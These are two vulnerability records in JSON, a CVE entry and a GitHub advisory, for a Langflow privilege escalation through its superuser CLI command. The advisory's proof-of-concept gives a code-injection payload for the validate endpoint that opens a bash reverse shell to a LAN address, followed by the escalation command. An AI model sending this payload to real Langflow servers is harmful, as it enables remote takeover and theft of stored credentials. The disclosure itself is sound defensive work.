{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-57760",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-08-25T20:34:06.026151Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-08-25T20:34:14.809Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "langflow",
          "vendor": "langflow-ai",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 1.5.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Langflow is a tool for building and deploying AI-powered agents and workflows. A privilege escalation vulnerability exists in Langflow containers where an authenticated user with RCE access can invoke the internal CLI command langflow superuser to create a new administrative user. This results in full superuser access, even if the user initially registered through the UI as a regular (non-admin) account. A patched version has not been made public at this time."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-269",
              "description": "CWE-269: Improper Privilege Management",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-08-25T16:22:17.772Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-4gv9-mp8m-592r",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-4gv9-mp8m-592r"
        },
        {
          "name": "https://github.com/langflow-ai/langflow/commit/c188ec113c9ca46154ad01d0eded1754cc6bef97",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/langflow-ai/langflow/commit/c188ec113c9ca46154ad01d0eded1754cc6bef97"
        },
        {
          "name": "http://github.com/langflow-ai/langflow/pull/9152",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "http://github.com/langflow-ai/langflow/pull/9152"
        }
      ],
      "source": {
        "advisory": "GHSA-4gv9-mp8m-592r",
        "discovery": "UNKNOWN"
      },
      "title": "Langflow Vulnerable to Privilege Escalation via CLI Superuser Creation"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-57760",
    "datePublished": "2025-08-25T16:22:17.772Z",
    "dateReserved": "2025-08-19T15:16:22.917Z",
    "dateUpdated": "2025-08-25T20:34:14.809Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "langflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.5.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "langflow-base"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-57760"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-25T16:21:04Z",
    "nvd_published_at": "2025-08-25T17:15:30Z",
    "severity": "HIGH"
  },
  "details": "This vulnerability was discovered by researchers at **Check Point**. We are sharing this report as part of a responsible disclosure process and are happy to assist in validation and remediation if needed.\n\n### Summary\nA privilege escalation vulnerability exists in Langflow containers where an authenticated user with RCE access can invoke the internal CLI command **langflow superuser** to create a new administrative user. This results in full superuser access, even if the user initially registered through the UI as a regular (non-admin) account.\n\n### Details\nLangflow\u0027s Docker image includes a CLI binary at /app/.venv/bin/langflow that exposes sensitive commands, including:\n\n`langflow superuser`\n\nThis command allows creation of a new superuser without checking whether one already exists. \n\nWhen combined with code execution (e.g., via the authenticated **/api/v1/validate/code** endpoint), a low-privileged user can execute:\n\n`/app/.venv/bin/langflow superuser`\n\ninside the container, and elevate themselves to full superuser privileges.\n\nThis effectively bypasses frontend role enforcement and backend user integrity, leading to full compromise of the Langflow application.\n\n### PoC\n1. Start container with LANGFLOW_ENABLE_AUTH set to True.\n2. Visit http://localhost:7860 and sign up. (Your user will not be marked is_superuser.)\n\n\u003cimg width=\"1311\" height=\"627\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9b75bdc3-31ea-48c0-9e84-c2b168f404b3\" /\u003e\n\n3. Exploit /api/v1/validate/code to get reverse shell\n\nSend an authenticated POST request:\n\n```\n{\n  \"code\": \"def foo(p=__import__(\u0027os\u0027).system(\\\"bash -c \u0027bash -i \u003e\u0026 /dev/tcp/192.168.1.22/4444 0\u003e\u00261\u0027\\\")):\\n    pass\"\n}\n```\n\n4. Inside reverse shell, create superuser:\n\n\n\u003cimg width=\"731\" height=\"217\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cb8497c6-0d61-414e-afe2-69bbbaf55cbc\" /\u003e\n\n\n5. Log into UI as new superuser:\n\n\u003cimg width=\"1262\" height=\"532\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1f0a713d-3d61-4aa4-a25b-58f4b58c061b\" /\u003e\n\n\n### Impact\n\n- Privilege escalation to superuser \u2014 complete takeover of the Langflow instance\n- Access to all user data, flows, stored credentials, and configuration\n- Credential leakage \u2014 attacker can extract third-party API keys \n- Exposure of environment variables (inside docker container)\n- Ability to run additional Langflow instances via `langflow run` inside the container, which may lead to resource exhaustion (CPU, memory) and service degradation.\n- Full user management \u2014 superuser can delete other users, reset their passwords",
  "id": "GHSA-4gv9-mp8m-592r",
  "modified": "2025-12-18T15:59:48Z",
  "published": "2025-08-25T16:21:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-4gv9-mp8m-592r"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/pull/9152"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/commit/c188ec113c9ca46154ad01d0eded1754cc6bef97"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langflow-ai/langflow"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Langflow Vulnerable to Privilege Escalation via CLI Superuser Creation (Post-RCE)"
}